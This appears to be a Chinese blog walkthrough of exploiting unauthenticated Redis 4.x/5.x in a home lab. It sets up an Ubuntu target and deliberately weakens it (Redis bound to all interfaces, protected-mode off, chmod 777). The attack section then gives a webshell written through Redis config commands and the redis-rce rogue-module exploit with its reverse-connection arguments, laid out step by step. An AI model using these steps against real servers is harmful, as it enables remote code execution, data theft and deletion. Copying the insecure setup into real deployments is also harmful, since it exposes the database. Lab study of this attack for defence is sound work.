Redis 4.x/5.x未授权访问漏洞详解

前言

Redis是常用基于内存的Key-Value数据库,比Memcache更先进,支持多种数据结构,高效,快速。用Redis可以很轻松解决高并发的数据访问问题;作为实时监控信号处理也非常不错。

  • 漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

  • Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

  • 影响版本

影响版本Redis未授权访问在4.x/5.0.5版本以下

  • 攻击手段

1.直接未授权访问,对redis数据库的操作
2.ssh免密钥登录
3.对redis数据库写木马拿shell。
4.写进反弹shell,设置反弹时间反弹。
5.利用现有exp


板块一:Ubuntu搭建网站(靶机)

  • 切换为root用户

sudo su

  • 安装mysql5

apt-get install mysql-server mysql-client
安装过程中系统会让你配置mysql root用户的账号密码,自行输入一下就OK了

  • 安装apache2

apt-get install apache2
安装完成后访问本地地址,可以看见apache的测试页

  • 注意内容:

apache的默认文档根目录是在ubuntu上的/var/www目录 ,配置文件是/ etc/apache2/apache2.conf。配置存储在的子目录在/etc/apache2目录。

appei.png
appei1.png

  • 安装php

apt-get install php7.0 libapache2-mod-php7.0

appei3.png

安装完成后需要重启apache2
/etc/init.d/apache2 restart
  • 写一个infophp测试php是否正常使用

appei4.png
appei5.png

  • 由上图可知php可以正常运行
  • 给网站目录可读可写权限

chmod 777 /var/www/

  • 让php获得mysql的支持

让php在mysql中获得支持,我们可以安装的php-mysql软件包。安装一些其他的php5模块,以及您可能需要的应用程序。

apt-cache search php5

还安装需要安装的

apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

现在重新启动apache2的:

/etc/init.d/apache2 restart

现在,重载http://localhost/info.php在您的浏览器,并再次向下滚动到模块部分。现在,你应该找到许多新的模块,包括mysql模块.


板块二:Ubuntu安装redis

  • 安装redis

sudo apt-get install redis-server
安装完成后,Redis服务器会自动启动,我们需要检查。

  • 检查端口监听

netstat -nlt|grep 6379
redis.png

  • 启动redis检查服务状态

sudo /etc/init.d/redis-server status
redis1.png

  • 使用命令行客户端访问redis

redis-cli
redis2.png

  • 修改Redis的配置

默认情况下,Redis服务器不允许远程访问,只允许本机访问,所以我们需要设置打开远程访问的功能。

注释bind 127.0.0.1

附加内容(小声bb 下面的这个选项反正我是没找到):
版本较高的redis 还需要将 protected-mode设为no
redis3.2版本后新增protected-mode配置,默认是yes,即开启。设置外部网络连接redis服务,设置方式如下:
1、关闭protected-mode模式,此时外部网络可以直接访问
2、开启protected-mode保护模式,需配置bind ip或者设置访问密码
参考文章:https://www.cnblogs.com/hack404/p/11270543.html

redis3.png

  • 修改后,重启Redis服务器

sudo /etc/init.d/redis-server restart

**ok 到这里 靶机上的redis基本上已经配置好了。


板块三:攻击过程

  • 下面内容分为两块
  1. 未授权访问登入redis实现攻击
  2. exp直接利用
  • 开启kali下载redis

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
(经过漫长的等待终于下好)
redis4.png

  • 解压

tar xzf redis-5.0.5.tar.gz

  • 进入目录

cd redis-5.0.5

  • 编译安装

make
(此步稍微会有点慢)

  • 安装完成后输入 如下命令 ,使命令全局有用

cp redis-cli /usr/local/bin/

  • nmap扫描目标ip端口

nmap -p 6379 -A 192.168.2.170
redis5.png

  • 使用刚刚装好的redis连接服务器

redis-cli -h 192.168.2.170
(成功连接,并成功执行了命令:info)

redis数据库的一些基本操作
info 查看redis的信息和服务器信息
flushall 删除所有数据
del key 删除键为key的数据
get key 获得参数key的数据

redis6.png

  • 尝试写入一句话木马

写入一句话木马需要我们知道网站的根目录相对于服务器的绝对路径。靶机在 /var/www/html/ 这个目录下。
redis-cli -h 192.168.2.170
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir /var/www/html
config set dbfilename webshell.php
save
(写一句话木马我测试过了 我的环境没能成功 可能我的redis没用root启动 回头用root启动试试)


  • 使用exp对网站测试

命令如下:
克隆redis-rce
git clone https://github.com/Ridter/redis-rce.git
克隆RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
进入文件夹
cd RedisModules-ExecuteCommand/src
编译
make
复制文件
cp module.so ~/redis-rce
运行exp
python3 redis-rce.py -r 192.168.2.170 -p 6379 -L 127.0.0.1 -P 8989 -f module.so

-r参数是指远程Redis IP地址 -p是远程redis的端口 -L参数是指反弹到的服务器IP地址 -P是本地接受反弹的端口。
(注意大小写)

redis7.png

其他的更多后续再补充吧。
例如:ssh免密匙登录。。

Mucn

Mucn

不管,看了我的博客就得帮忙转载,快点转载一下哦!❤️✔️

留下你的评论

快留下你的小秘密吧